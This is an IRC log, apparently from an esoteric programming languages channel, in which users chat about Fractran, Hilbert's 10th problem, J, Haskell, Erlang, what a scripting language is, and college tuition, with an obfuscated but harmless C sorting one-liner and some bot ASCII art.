02:36:31 <fax> 2 Name: Ørjan : 2009-12-24 07:18 ID:l+2d4UoE [Del] For any fractran program, let p be any prime not used in the program. If your starting value is divisible by p, then the program has no way of removing it. So it cannot be done, alas.
02:36:39 <fax> how does oerjan just know all this stuff/!?!?!?
02:36:50 <fax> it's so frustrating, I want to know these things
02:36:52 <fax> :D
02:37:18 <fax> hm actually that's quite obvious but I probably wouldn't have thought of it
02:37:23 <oerjan> fax: i have a phd (well, technically dsc) in mathematics
02:37:24 <fax> s/obvious/easy to verify/
02:37:37 <fax> oerjan: did you do ;D fractran?
02:37:51 <oerjan> i did do number theory
02:38:01 <oerjan> also, look at Bag. i never implemented it, alas.
02:38:05 <fax> oerjan oerjan
02:38:13 <fax> what's your favorite number :D
02:38:19 <oerjan> 16
02:38:46 <oerjan> (on the spot)
02:38:47 <fax> "the esoteric language mailing list" o_O
02:39:09 <fax> oerjan I might write a program that turns propositions into diophantines
02:39:12 <oerjan> fax: it's been essentially dead for years
02:39:26 <fax> like it reduces proving X into proving some diophantine D(...) = 0
02:39:40 <fax> you can basically encode all of mathematics into it...
02:39:55 <fax> and I suppose if we translate true theorems through this we can prove lots of things are zero too
02:40:27 <oerjan> fax: Hilbert's 10th problem
02:40:30 <fax> yes!
02:40:41 <fax> do you think it's a fun idea
02:41:08 <fax> oerjan im still proud of my J fractran interpreter
02:41:19 <fax> I don't realyl deserve to be, the only reason it's so nice is because J rules
02:41:36 <oerjan> well it's solved, i don't know much about the details except that it requires proving you can encode a fast-growing function (like exponential) as a crucial step
02:41:52 <fax> oerjan: this is the chapter I am on :D
02:41:58 <fax> I have a book about this
02:42:50 <fax> (*{~1 i.~[@(=<.)@:*)
02:43:28 <fax> the critics said: # (cur) (prev) 15:27, 12 October 2009 Sligocki (talk | contribs) (9,526 bytes) (That algorithm is neither clear nor helpful and clearly does not store the whole program.) (undo)
02:44:01 <oerjan> fax: about hilbert's 10th problem?
02:44:12 <fax> about the J intepreter for fractran
02:44:18 <fax> esolang kept it though! http://esolangs.org/wiki/Fractran
02:44:36 <oerjan> hm i think i noticed you mentioned before
02:44:41 -!- Geekthras has joined.
02:44:42 <oerjan> fax: we're an inclusive bunch
02:44:54 <fax> I'm not very keen on wikipedia, but wikis are great
02:45:00 <Sgeo> What did oerjan prove about Fractran?
02:45:01 <oerjan> somehow i doubt anyone is actually cleaning up spam in the forum
02:45:12 <oerjan> Sgeo: the quote above
02:45:37 <oerjan> http://esoteric.voxelperfect.net/forum/kareha.pl/1261626260/l50
02:45:39 <Sgeo> What's "it"
02:45:44 * pikhq seems to recall seeing Geekthras somewhere
02:45:47 <Geekthras> yeah same
02:45:50 <Sgeo> Oh
02:45:52 <Geekthras> Sgeo too. #xkcd?
02:46:05 * Sgeo is in #xkcd
02:46:37 <Sgeo> Apparently, Geekthras is covered in bees.
02:46:48 <pikhq> `echo "Geekthras is covered in bees."
02:47:02 <pikhq> Hackego apparently disagrees.
02:47:15 * fax should learn J again (I forgot it)
02:47:17 <pikhq> Gregor: Where'd the Egoest of the Bots go?
02:47:37 <Geekthras> fax: funny you should mention that, I just started to pick it up again
02:47:44 <fax> Y:D
02:47:52 <Geekthras> er
02:47:55 <Geekthras> s/again//
02:48:55 <Gregor> pikhq: HELL
02:49:30 <Sgeo> Should I assume that Fractran isn't TC?
02:49:38 <fax> Sgeo uh no
02:49:42 <fax> why would you ?
02:49:52 <fax> I mean in general why would you assume anything isn't TC?
02:49:52 <pikhq> Guess I shall have to kill myself, topple the king of that infernal place, and come back. I shall then open one of my 6 mouths and sing the song that ends the earth.
02:49:54 <Sgeo> oerjan said something about something it couldn't do
02:50:02 <pikhq> (thx Penny Arcade)
02:50:03 <Geekthras> what is fractan?
02:50:14 <oerjan> i've been telling you, someone's been killing off our bots
02:50:15 <Sgeo> http://esolangs.org/wiki/Fractran
02:50:19 <fax> oh sorry I misunderstood that Sgeo
02:50:26 <fax> I thought you were saying something a bit different
02:50:28 <pikhq> myndzi's still around.
02:50:28 <pikhq> \
02:50:31 <oerjan> they seem to have completed their evil deed
02:50:32 <pikhq> \o/
02:50:32 <myndzi> |
02:50:33 <myndzi> /<
02:50:39 <fax> \o/
02:50:39 <myndzi> |
02:50:39 <myndzi> >\
02:50:42 <fax> OH
02:50:46 <fax> so thats how it works
02:50:54 <fax> \o/
02:50:54 <myndzi> |
02:50:54 <myndzi> >\
02:50:57 <pikhq> Yuh.
02:51:00 <fax> COOOL.
02:51:10 <fax> * _\____o* SPLAT
02:51:15 <Sgeo> \m/
02:51:16 <Geekthras> oh my god.
02:51:21 <Geekthras> the interpreter is in J.
02:51:24 <Geekthras> wow
02:51:24 <pikhq> The power of a-guy-running-a-bot-on-his-IRC-client.
02:51:29 <fax> Geekthras I wrote that ;D
02:51:33 <Sgeo> What happened to the \m/ thing?
02:51:33 <Geekthras> nice
02:51:37 <fax> (long enough ago that I haev no clue ....)
02:51:40 <fax> how does it work
02:51:42 <Sgeo> /m\
02:51:45 <pikhq> Sgeo: Did it wrong.
02:51:50 <pikhq> \m/ \m/
02:51:50 <myndzi> `\o/
02:51:50 <myndzi> |
02:51:50 <myndzi> /'|_)
02:51:50 <myndzi> (_|
02:51:53 <Sgeo> Oh
02:51:57 <fax> \a/
02:51:59 <fax> \x/
02:52:00 <fax> \f/
02:52:02 <fax> \n/
02:52:04 <fax> ;(
02:52:09 <pikhq> fax: FAILURE
02:52:13 <oerjan> Sgeo: there are limitations to what a fractran program can have as initial/final result if you don't do your encoding properly. that has no bearing to whether it is TC since you can always encode a problem in a different way
02:52:18 -!- fax has quit (Quit: shame).
02:52:35 <Sgeo> Ah
02:52:37 <pikhq> ALSO: a,b,c;main(z,i)char**i;{h:a=!a,b=!b;g:(b-1)[1[i]]>b[i[1]]?a^=a,c=(b-1)[1[i]],1[i][b-1]=i[1][b],b[i[1]]=c,b=&b[(void*)1]:(b=&b[(void*)1]),!b[i[1]]?:({goto g;}),a?:({goto h;}),b=!b;j:putchar(b[1[i]])[(void*)(b=&b[(void*)1])],1[i][b]?({goto j;}):putchar('\n');}
02:52:51 <Geekthras> waaaaa
02:52:58 <Geekthras> yeah I can't decipher that J program
02:53:07 <Geekthras> don't remember what enough of the verbs are
02:53:18 <Sgeo> Any comments on Fractran++?
02:53:37 <pikhq> Sgeo: Insufficiently object-oriented, I bet.
02:53:44 <coppro> Gregor: which J problem?
02:53:45 <coppro> *program
02:53:54 <oerjan> Geekthras: there are probably lots of non-J interpreters of fractran around, it's a pretty old concept.
02:54:20 <Gregor> I said something about ... a J program?
02:54:42 <pikhq> Geekthras: Congrats on throwing off tab-completion.
02:54:50 <pikhq> Sgeo's not used to more than one G- here. :P
02:55:02 <coppro> rofl
02:55:08 <coppro> not sure how you completed s from c
02:55:21 <oerjan> Sgeo: the thing i proved in that post is essentially like how you cannot get a turing machine to handle a tape not in its alphabet
02:55:31 <Sgeo> Ah
02:55:51 <coppro> (also, that was a thinko, not a typo. I use a client with sane (bash-style) completion)
02:58:07 <pikhq> coppro: That's a thinko.
02:58:17 <pikhq> My tab-completes don't do commas.
02:58:29 <coppro> uh, what?
02:58:32 <pikhq> (so I type the full name.)
02:58:37 <coppro> don't do commas?
02:58:52 <pikhq> I only tab-complete if I want "foo: ".
02:59:13 <Quadrescence> \o_ _o/ _o_ \o_ \o/
02:59:13 <myndzi> | | | | |
02:59:13 <myndzi> /| /| /< /< /|
02:59:18 <pikhq> coppro: For instance, I tab-completed for "coppro: ", but not the following coppro.
02:59:28 <coppro> ah
02:59:35 <coppro> why not?
02:59:41 <coppro> I'm confused
02:59:42 * Sgeo should probably actually test pikhq's fix
03:01:42 <Sgeo> Hallefrickenluhha
03:02:12 <Sgeo> I _think_ my program works
03:02:34 <Sgeo> I don't think I've EVER written an actual unit test for real use
03:02:52 <Sgeo> I wrote tests for individual parts of PSOX, but that's pretty much it
03:03:03 <Sgeo> All my testing, all my life, has been manual
03:03:54 * Sgeo needs to fix this somehow
03:12:12 <Geekthras> huh
03:12:35 <Geekthras> I thought that if you defined a monad p, then p 1 2 3 would give you p 1, p 2, p 3...
03:12:48 <oerjan> O_o
03:13:07 <oerjan> please rephrase that so it makes sense :D
03:13:15 <Geekthras> it... does?
03:13:17 <Geekthras> talking in J?
03:13:30 <oerjan> um what does J have to do with monads?
03:13:42 <Geekthras> they are one of its two verb types?
03:13:43 <Sgeo> Why is J considered so cool?
03:13:44 <pikhq> oerjan: "monadic function", I think?
03:13:49 <oerjan> ah.
03:14:01 <Geekthras> Sgeo: I think it's neat
03:14:03 * oerjan is a haskellite
03:14:09 <Sgeo> I mean, essentially, it means you can define a verb and it will act "the right way" when given lists instead of a normal argument, right?
03:14:15 <Sgeo> And that's pretty much it?
03:14:19 <Geekthras> that's next on my list
03:14:32 <Geekthras> that's what I thought
03:14:47 <Sgeo> Geekthras, do not turn to me for help understanding J
03:15:03 <pikhq> Geekthras: We're used to data Monad a where return :: (Monad m) => a -> m a;(>>=) :: (Monad m) => m a -> (a -> m b) -> m b
03:15:15 <Geekthras> yeah okay
03:15:22 <pikhq> Erm. That's not quite the definition. XD
03:15:23 * Sgeo looks at the vocab
03:15:31 <Sgeo> Oh yeah, Boxes. Used for both display and logic!
03:15:50 <Geekthras> I thought hte fact that I was talking about J just now would make my query make more sense
03:16:01 <oerjan> pikhq: class
03:16:24 <pikhq> class Monad m where return :: a -> m a;(>>=) :: m a -> (a -> m b) -> m b -- That's the one.
03:17:09 <oerjan> Geekthras: it would if i knew J had anything it called monads
03:17:43 <Geekthras> yeah
03:18:13 <coppro> Haskell's pretty big in this channel
03:21:57 -!- HackEgo has joined.
03:21:58 -!- EgoBot has joined.
03:22:14 <pikhq> Ego! Bot!
03:22:30 <Geekthras> hmmm
03:22:32 <Sgeo> Would it be possible to write a game in J?
03:22:49 <Sgeo> If Perl is line noise, what's J?
03:23:12 <Geekthras> more confusing line noise
03:23:15 <pikhq> Line noise with different entropy characteristics.
03:31:58 <Sgeo> What can J do easily that Haskell doesn't do so easily?
03:47:24 -!- oerjan has quit (Quit: leaving).
03:50:23 -!- EgoBot has quit (Ping timeout: 260 seconds).
03:50:23 -!- HackEgo has quit (Ping timeout: 260 seconds).
03:51:48 <coppro> you know what's funny?
03:52:07 <coppro> I was just wondering today what use uncurry was, and I just found one
03:52:25 <Sgeo> According to J, 0 ^ 0 = 1
03:52:28 <Sgeo> coppro, hm?
03:53:18 <pikhq> uncurry and curry are useful for Arrows.
03:54:29 <Geekthras> Sgeo: I think that's common
03:54:37 <Geekthras> isn't that what python says too?
03:54:54 <Quadrescence> 0^0 is common
03:54:57 <Quadrescence> =1
03:54:57 <Geekthras> heh, some project euler problems are kind of dumb in J
03:55:16 <Geekthras> millionth lexigraphical permutation of the digits 1-9
03:55:22 <Geekthras> *0-9
03:55:45 <Quadrescence> lexicographical
03:55:53 <Geekthras> >.<
03:55:54 * Sgeo wonders if there are any web frameworks for Haskell
03:56:06 <Quadrescence> Sgeo: obviously there is
03:56:06 * Sgeo also wonders if there are web frameworks for J
03:56:09 <Quadrescence> but no one cares
03:56:17 <Quadrescence> and no one would write a web framework in J
03:56:23 <Quadrescence> unless they were messing around
03:56:28 <Geekthras> someone's done an irc evalbot for J
03:56:47 <Sgeo> Is it written IN J?
03:56:57 <coppro> pikhq: I don't get arrows yet, but I think I see why
03:57:05 <Quadrescence> J isn't used to write that kind of stiff
03:57:08 <Quadrescence> uff*
03:57:18 <Sgeo> "By using HAppS's state management, you are committing yourself to keeping your entire state in memory at all times, rather than disk -- YOUR STATE MUST ALWAYS FIT IN MEMORY"
03:57:24 <Geekthras> Sgeo: I highly doubt it
03:57:44 <Geekthras> '/msg buubot call jsess j fret'
03:59:14 <Geekthras> I realized that by web framework you didn't mean the dumb thing I was thinking
03:59:15 <Geekthras> durr
03:59:17 -!- Asztal has quit (Ping timeout: 265 seconds).
04:00:27 -!- augur has quit (Ping timeout: 245 seconds).
04:01:23 -!- coppro has quit (Quit: I am leaving. You are about to explode.).
04:06:28 -!- augur has joined.
04:07:42 <Sgeo> Whee, I'm not focusing on my homework!
04:07:44 <Sgeo> :(
04:10:00 <pikhq> alise: When you're back. EhirdOS should totally use U+2028 LINE SEPERATOR as the newline, and U+2029 PARAGRAPH SEPERATOR for seperating paragraphs.
04:15:38 -!- augur has quit (Read error: Connection reset by peer).
04:16:01 -!- augur has joined.
04:19:17 <Sgeo> pikhq, has alise been reading logs?
04:25:11 <pikhq> Yes, he log-reads.
04:25:30 <pikhq> Every time he returns he spews out a massive chunk of replies for an hour.
04:28:31 * Sgeo should become a log reader
04:28:51 <Sgeo> Although now that I don't turn my computer off, it would be somewhat tricky to figure out where to start reading form
04:28:53 <Sgeo> *from
04:29:42 * Sgeo thinks about how this assignment would be done in Haskell
04:48:19 * Sgeo reluctantly opens Firefox
04:48:51 <Geekthras> what assignment
04:49:30 <Sgeo> Sorted List implementations using Abstract Data Types. The driver remains the same. One implementation uses an array, the other a linked list
04:49:49 <Geekthras> hoom
04:51:11 <Sgeo> Due to the mutating stuff, it would probably be written in the ST monad
05:00:33 -!- augur_ has joined.
05:02:34 -!- augur has quit (Ping timeout: 248 seconds).
05:41:31 <Sgeo> Or, presumably, in Haskell-style, "mutators" would return a new list
05:43:02 <Quadrescence> Sgeo: You sound like you have no idea what you're talking about.
05:43:19 <Sgeo> Quadrescence, hm?
05:43:24 <Quadrescence> idk
05:43:46 <pikhq> There is no state. There is only lambda.
05:44:41 <pikhq> Church looked out, and saw the great void. And he said let there be lambda. And there was lambda. And it was good.
05:46:27 <Sgeo> lol
06:05:40 -!- oerjan has joined.
06:18:47 -!- augur_ has quit (Ping timeout: 245 seconds).
06:19:49 -!- jcp has quit (Quit: I will do anything (almost) for a new router.).
06:42:01 -!- augur has joined.
06:52:38 -!- oerjan has quit (Quit: leaving).
07:06:11 <augur> argle bargle
07:17:47 <augur> so who's here
07:17:48 <augur> anyone?
07:20:04 <Ilari> augur: Got any new esolang ideas recently? :->
07:20:48 <augur> actually yes
07:26:07 <augur> but it was accompanied by a challenge that i wanted to put to the channel
07:26:20 <augur> so im not going to tell you about the esolang itself.
07:32:37 <augur> Ilari: im contemplating basically designing a little programming language, and then somehow providing a visualization of this, either in raw code form, a stack trace, or god knows what, and seeing who can then deduce the nature of the language from just the visualization
07:34:20 -!- nooga_ has quit (Quit: Lost terminal).
07:44:34 -!- calamari has joined.
07:58:02 -!- tombom has joined.
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
08:26:30 -!- calamari has quit (Quit: Leaving).
08:34:41 -!- adu has quit (Quit: adu).
08:50:20 -!- tombom has quit (Quit: Leaving).
08:53:40 -!- oerjan has joined.
08:58:01 -!- kar8nga has joined.
08:59:20 -!- oerjan has quit (Quit: leaving).
10:34:12 -!- lereah_ has joined.
11:28:21 -!- Tritonio_GR has joined.
12:00:40 -!- kar8nga has quit (Read error: Connection reset by peer).
15:07:54 -!- Tritonio_GR has quit (Ping timeout: 248 seconds).
15:08:04 -!- Tritonio_GR has joined.
15:09:18 -!- Tritonio_GR has quit (Read error: Connection reset by peer).
15:10:34 -!- oerjan has joined.
15:12:01 -!- Tritonio_GR has joined.
15:33:44 -!- Tritonio_GR1 has joined.
15:37:14 -!- Tritonio_GR has quit (Ping timeout: 248 seconds).
15:55:39 -!- cheater3 has joined.
15:55:49 -!- cheater4 has quit (Read error: Connection reset by peer).
16:25:45 -!- cheater3 has quit (Ping timeout: 252 seconds).
16:26:40 -!- Tritonio_GR1 has quit (Read error: Connection reset by peer).
16:30:18 -!- Asztal has joined.
16:44:18 -!- charlls has joined.
16:47:01 -!- FireFly has joined.
17:08:16 -!- cheater2 has joined.
17:11:59 -!- MizardX has joined.
17:17:04 -!- oerjan has quit (Quit: leaving).
17:18:42 -!- Deewiant has quit (Remote host closed the connection).
17:27:44 -!- BeholdMyGlory has joined.
17:34:41 -!- lereah_ has quit (Remote host closed the connection).
17:49:54 -!- MizardX- has joined.
17:52:12 -!- MizardX has quit (Ping timeout: 276 seconds).
17:52:23 -!- MizardX- has changed nick to MizardX.
17:52:34 -!- augur has quit (Ping timeout: 240 seconds).
17:55:29 -!- Deewiant has joined.
18:18:56 -!- tombom has joined.
18:23:52 -!- augur has joined.
18:31:57 -!- uorygl has quit (Read error: Connection reset by peer).
18:32:17 -!- uorygl has joined.
18:33:34 -!- augur has quit (Ping timeout: 240 seconds).
18:35:16 -!- augur has joined.
18:38:20 -!- charlesq__ has joined.
18:38:28 -!- charlesq__ has quit (Read error: Connection reset by peer).
18:39:12 -!- charlls has quit (Read error: Connection reset by peer).
18:48:39 -!- ais523 has quit (Remote host closed the connection).
19:00:09 -!- kar8nga has joined.
19:13:28 -!- augur has quit (Read error: Connection reset by peer).
19:13:56 -!- augur has joined.
19:21:07 -!- oerjan has joined.
19:21:43 -!- oerjan has quit (Client Quit).
19:53:45 -!- hiato has joined.
19:54:46 -!- sebbu has joined.
19:55:57 -!- sebbu2 has quit (Ping timeout: 276 seconds).
20:07:31 -!- jcp has joined.
20:17:10 <Deewiant> http://i.imgur.com/iQQPg.png
20:21:05 <hiato> out of interest, who wrote http://esoteric.voxelperfect.net/wiki/Computational_class ?
20:23:07 <AnMaster> Deewiant, found any bugs in cfunge or efunge yet?
20:24:59 <Deewiant> Haven't done anything that'd have any chance of finding them since the bounds stuff
20:30:40 <oklopol> complexity theory is closer to computability theory than algorithm analysis
20:31:37 <oklopol> or maybe a true computabilitist considers everything that cares about the amount of steps in computation the same sort of performance bullshit
20:31:55 <Geekthras> 19:56 * Sgeo also wonders if there are web frameworks for J <-- I just found out that yes, yes there are
20:32:09 <Geekthras> the cs department at trinity used it for their site
20:32:18 <Geekthras> I have no idea why
20:38:49 -!- pikhq has quit (Read error: Connection reset by peer).
20:48:38 -!- kar8nga has quit (Remote host closed the connection).
20:52:40 -!- Oranjer has joined.
20:55:20 -!- mibygl has joined.
20:55:30 -!- pikhq has joined.
21:02:56 -!- augur has quit (Ping timeout: 252 seconds).
21:10:49 -!- hiato has quit (Quit: underflow).
21:11:47 <Sgeo> Maybe surfing the web via browser at a remote computer isn't the best idea
21:12:26 <Sgeo> But on the other hand, when I have to leave, I don't just lose all the pages I'm on
21:28:28 -!- clog has joined.
21:28:28 -!- clog has joined.
21:36:44 -!- Tritonio_GR has joined.
21:43:19 -!- augur has joined.
21:46:24 <Sgeo> Is there any reason to not think of Erlang as a sort of functional scripting language?
21:46:28 -!- Tritonio_GR has quit (Read error: Connection reset by peer).
21:49:44 -!- Tritonio_GR has joined.
21:51:24 <Oranjer> define 'functional scripting language"
21:51:35 <Deewiant> Sgeo: It's not at all intended for typical "scripting" purposes?
21:51:40 <lament> define 'define'
21:53:07 -!- Tritonio_GR has quit (Read error: Connection reset by peer).
21:53:56 <pikhq> lament: define '/
21:54:52 <lament> pikhq: i can't, i don't know what define means
21:55:41 -!- Tritonio_GR has joined.
21:57:32 <AnMaster> Sgeo, well for a start erlang makes a poor scripting language. Erlang is much better suited to long running programs
21:57:35 <AnMaster> servers and such
21:58:17 <AnMaster> for example the runtime takes almost a second to exit, and about 1/3 of a second or so to start up
21:58:52 <AnMaster> (this hasn't been considered a problem since long running applications is what it really is intended for)
21:59:04 <AnMaster> thus no one bothered to fix it
22:00:37 <AnMaster> and well there are lots of process supervision stuff built in. Oh and hot code reloading. Oh and support for distributed nodes and what not. Not features of your typical "scripting" language.
22:01:29 <Sgeo> I think I made an assumption because it seemed functional, without static types
22:02:06 <AnMaster> why would dynamic typing imply scripting language?
22:02:36 <pikhq> What the hell is a scripting language, anyways?
22:03:00 <Oranjer> actionscript, javascript
22:03:03 <Oranjer> scriptscript
22:03:13 <AnMaster> pikhq, maybe one where you don't compile the code at all? Not even to bytecode. Well the interpreter could possibly do it, but the developer doesn't have to do so manually
22:03:26 <AnMaster> that would place stuff like python and perl into that category
22:03:40 -!- mibygl has quit (Ping timeout: 252 seconds).
22:03:56 <Oranjer> but python is compiled into .exe's, huh...
22:04:10 <Tritonio_GR> python compiled into exe?
22:04:29 <Tritonio_GR> i think it's more like the python lib combined with some bytecode
22:04:37 <Sgeo> I'd imagine that py2exe or whatever includes the interpreter + the code
22:04:44 <Sgeo> Otherwise, eval() wouldn't work
22:04:46 <pikhq> AnMaster: Python is compiled into bytecode as a rule.
22:05:15 <AnMaster> pikhq, yes but see what I said
22:05:22 <AnMaster> pikhq, which was "but the developer doesn't have to do so manually"
22:05:27 <pikhq> The bytecode is stored on disk and executed...
22:05:40 <AnMaster> pikhq, sure, but python compiles it automatically for you
22:05:45 <AnMaster> as in you run python foo.py
22:05:47 <Sgeo> Not the bytecode for the top-level module
22:05:54 <AnMaster> and afterwards you might end up with foo.pyc or whatever
22:06:02 <pikhq> Okay then. By that notion, C can be a scripting language.
22:06:07 <AnMaster> Sgeo, ah that explains why it didn't do it consistently for me
22:06:18 <AnMaster> pikhq, not at all, because there you need to manually invoke gcc or whatever first
22:06:23 <AnMaster> before you can run your program
22:06:25 <pikhq> Not necessarily.
22:06:31 <pikhq> There exist C interpreters.
22:06:35 <AnMaster> pikhq, oh?
22:06:39 <AnMaster> such as?
22:06:41 <pikhq> The Tiny C Compiler, for instance.
22:06:46 <AnMaster> ah right
22:07:03 <AnMaster> anyway this is really implementation rather than language specific
22:07:13 <AnMaster> you could make a python version where you had to compile the files first
22:07:30 <pikhq> Defining "scripting language" in terms of implementation details suggests that "scripting language" is a freaking meaningless term.
22:07:38 <AnMaster> pikhq, indeed
22:07:49 <pikhq> Which of course it is.
22:07:52 <AnMaster> yes
22:08:13 <AnMaster> what about "language primarily embedded into another program, used to control it"
22:08:26 <AnMaster> that would make javascript for example a scripting language
22:08:32 <AnMaster> same for lua in many cases
22:08:34 <pikhq> Though, if I were to define it, I would define it as "a language primarily for the automation of the execution of other programs, or a language embedded into a program to control it."
22:08:44 <AnMaster> though I have used embedded python
22:08:56 <pikhq> Which would leave shell script and embedded languages being called scripting languages.
22:09:05 <Sgeo> Wasn't there some browser that was supposed to run "Python applets" or some such
22:09:11 <Sgeo> Almost typoed and said "apples"
22:09:12 <AnMaster> pikhq, but not python
22:09:19 <AnMaster> well
22:09:28 <AnMaster> I have used python in that way as I said
22:09:31 <pikhq> AnMaster: Except when embedded into a language.
22:09:33 <AnMaster> it just isn't very common
22:09:41 <pikhq> Yeah.
22:09:49 <AnMaster> pikhq, actually embedded into an mmorpg server in that case
22:09:55 <AnMaster> "<pikhq> AnMaster: Except when embedded into a language." was a typo I assume?
22:10:34 <AnMaster> I wonder where this would place nasal
22:10:45 * AnMaster wonders if anyone here even heard of that
22:10:49 <pikhq> Thinko.
22:11:46 <Sgeo> Maybe I'll be able to focus on homework once I get home
22:11:52 <AnMaster> well nasal is probably a scripting language. But perhaps we should say insufficient data instead. Considering I ever heard of ONE project using it
22:12:00 <AnMaster> it's quite neat though
22:12:24 <Sgeo> Linky?
22:12:35 <AnMaster> and the implementation is rather fast, it has to be when you are doing "real time" scripting
22:12:39 <AnMaster> Sgeo, hm *looks*
22:12:59 <AnMaster> http://www.plausible.org/nasal/
22:13:08 <AnMaster> used for flightgear. Never seen it used elsewhere
22:13:35 <AnMaster> kind of multi-paradigm. Supports prototype style objects iirc
22:13:47 <AnMaster> and some functional-ish stuff
22:13:49 <Sgeo> flightgear, as in a project, or as in real airplane control software/
22:14:02 <AnMaster> Sgeo, flightgear is an open source flightsim
22:14:06 <Sgeo> Ah
22:14:39 <AnMaster> Sgeo, notice "flight sim". That means if you just want to fly around and shoot it isn't for you. I don't think guns are implemented at all really.
22:14:49 <AnMaster> it is wonderful for actual flightsim though :P
22:15:08 * Sgeo 's played with MS Flight Simulator before
22:15:50 <AnMaster> btw: http://www.flightgear.org/
22:16:19 <AnMaster> I think the graphics improved recently. So much my computer is having problems with it
22:18:49 <Sgeo> Except for foreach/forindex, seems like an elegant language so far
22:18:56 <Sgeo> Not done reading the tutorial source, though
22:19:38 <AnMaster> Sgeo, the docs aren't really all that good. I mostly learnt it from working on old code in flightgear.
22:20:26 <AnMaster> Sgeo, what is wrong with foreach/forindex btw?
22:20:54 <Sgeo> Why not use a function that, say, returns the indexes of a vector, instead of a separate syntactical forindex/
22:21:14 <AnMaster> Sgeo, don't know. Never saw it as a problem though
22:21:41 * Sgeo has a Data Structures exam (in C++) in 40min
22:22:20 <Sgeo> Yes, ANGEL, I know I'm using an unsupported browser! You don't have to tell me twice!
22:22:21 -!- Tritonio_GR has quit (Read error: Connection reset by peer).
22:22:33 <AnMaster> ANGEL?
22:22:42 <AnMaster> anyway shouldn't be too hard?
22:22:45 <AnMaster> wait
22:22:46 <AnMaster> C++
22:22:52 <AnMaster> poor you
22:22:58 <Sgeo> Yes
22:23:08 <AnMaster> anyway what is ANGEL
22:23:21 <AnMaster> Sgeo, also what level is that course at? University?
22:23:52 <Sgeo> Other classmate, upon seeing something: "Wait, how does that make sense" Me: "It's C++. C++ sometimes doesn't make sense" [note: that's the general gist of conversation sometimes. No literal quotes are implied
22:24:11 <Sgeo> It's a 3xx level course at perhaps not the best college
22:24:19 <Sgeo> It's not a community college though
22:24:33 <AnMaster> what on earth is a "community college"?
22:25:00 <AnMaster> and I thought a college was a sub-unit of a university?
22:25:18 <pikhq> AnMaster: US terminology confuses many outside of the US.
22:25:44 <AnMaster> well yes.
22:26:03 <AnMaster> anyway any school system in another country is bound to confuse
22:26:11 <AnMaster> because they are basically different in every country
22:26:21 <pikhq> A community college is a community-funded institute of higher education that offers two-year degrees, as well as individual classes for a lower cost than at most 4-year schools.
22:27:28 <AnMaster> err
22:27:32 <AnMaster> "community-funded"?
22:27:36 <AnMaster> you mean the state owns it?
22:27:47 <AnMaster> err make that federal or something
22:27:52 <AnMaster> you and your strange system
22:28:10 <AnMaster> I think all but three universities in Sweden are state owned btw.
22:28:16 <AnMaster> Read that somewhere recently
22:28:46 <pikhq> No, it's funded out of city taxes.
22:29:05 <AnMaster> huh
22:29:05 <pikhq> And cost not-much.
22:29:14 <AnMaster> so low quality?
22:29:30 <pikhq> Yeah. Note the "2-year degrees" bit.
22:29:38 <AnMaster> next you are going to say students have to pay to study at universities normally
22:29:39 <AnMaster> -_-
22:29:45 <pikhq> We do.
22:29:46 <AnMaster> or something equally stupid
22:29:48 <AnMaster> wtf
22:30:05 <pikhq> $20,000 yearly bills are not uncommon.
22:30:28 <Sgeo> Um, I think my dad generally pays around $2000/$3000 a semester
22:30:35 <AnMaster> wth
22:30:46 <AnMaster> semester?
22:30:52 <AnMaster> as in, holidays?
22:31:04 <Deewiant> As in, look it up
22:31:15 <AnMaster> well
22:31:17 <Sgeo> semester ~= half a year. September-December, January-summer
22:31:19 <AnMaster> sv:semester = en:holiday
22:31:24 <AnMaster> so I guess that confused me
22:31:38 <AnMaster> well, usually about very long holidays
22:31:42 <AnMaster> such as summer break
22:31:57 <AnMaster> not as in xmas break or such
22:32:12 <Sgeo> Semesters are the time between semesters
22:32:17 <AnMaster> hah
22:32:55 <Sgeo> [Note: Apparently the above is not true. Semesters are divided by xmas break and a bit]
22:33:08 <Sgeo> [So don't take my joke too too seriously]
22:36:03 -!- kar8nga has joined.
23:12:39 -!- tombom_ has joined.
23:13:54 -!- tombom__ has joined.
23:16:30 -!- tombom has quit (Ping timeout: 268 seconds).
23:16:32 -!- kar8nga has quit (Remote host closed the connection).
23:16:53 -!- kar8nga has joined.
23:17:09 -!- tombom_ has quit (Ping timeout: 252 seconds).
23:29:12 -!- tombom__ has quit (Quit: Leaving).
23:48:14 -!- BeholdMyGlory has quit (Remote host closed the connection).
2010-03-25
00:13:01 -!- kar8nga has quit (Remote host closed the connection).
00:14:16 -!- pikhq has quit (Read error: Connection reset by peer).
00:16:28 <Sgeo> Didn't get a perfect grade on my exam.
00:16:37 <Sgeo> Now arguing that her answers are incorrect
00:16:41 -!- pikhq has joined.
00:17:03 <Oranjer> damn straight
00:17:08 <Oranjer> fight the....fight
00:17:47 -!- FireFly has quit (Quit: Leaving).
00:29:33 -!- coppro has joined.
00:31:01 -!- Sgeo has quit (Ping timeout: 264 seconds).
01:00:54 -!- augur has quit (Ping timeout: 240 seconds).
01:27:56 -!- augur has joined.
01:29:05 -!- myndzi\ has joined.
01:30:01 -!- Gregor has quit (*.net *.split).
01:30:01 -!- olsner has quit (*.net *.split).
01:30:02 -!- jcp has quit (*.net *.split).
01:30:03 -!- pikhq has quit (*.net *.split).
01:30:03 -!- uorygl has quit (*.net *.split).
01:30:03 -!- cheater2 has quit (*.net *.split).
01:30:04 -!- ineiros has quit (*.net *.split).
01:30:04 -!- lament has quit (*.net *.split).
01:30:05 -!- sshc has quit (*.net *.split).
01:30:07 -!- pineapple has quit (*.net *.split).
01:30:07 -!- rodgort has quit (*.net *.split).
01:30:07 -!- chickenzilla has quit (*.net *.split).
01:30:08 -!- myndzi has quit (*.net *.split).
01:30:08 -!- jix_ has quit (*.net *.split).
01:30:08 -!- cal153 has quit (*.net *.split).
01:30:08 -!- SimonRC has quit (*.net *.split).
01:30:09 -!- mtve has quit (*.net *.split).
01:32:49 -!- SimonRC has joined.
01:32:49 -!- jcp has joined.
01:32:49 -!- Gregor has joined.
01:32:49 -!- olsner has joined.
01:32:49 -!- chickenzilla has joined.
01:32:49 -!- rodgort has joined.
01:32:49 -!- pineapple has joined.
01:33:10 -!- sshc has joined.
01:33:17 -!- pikhq has joined.
01:33:17 -!- uorygl has joined.
01:33:17 -!- cheater2 has joined.
01:33:17 -!- lament has joined.
01:33:17 -!- ineiros has joined.
01:33:19 -!- jix has joined.
01:33:41 -!- augur has changed nick to Guest8510.
01:35:24 -!- cal153 has joined.
01:36:13 -!- Gracenotes has joined.
01:45:25 -!- HackEgo has joined.
01:45:26 -!- EgoBot has joined.
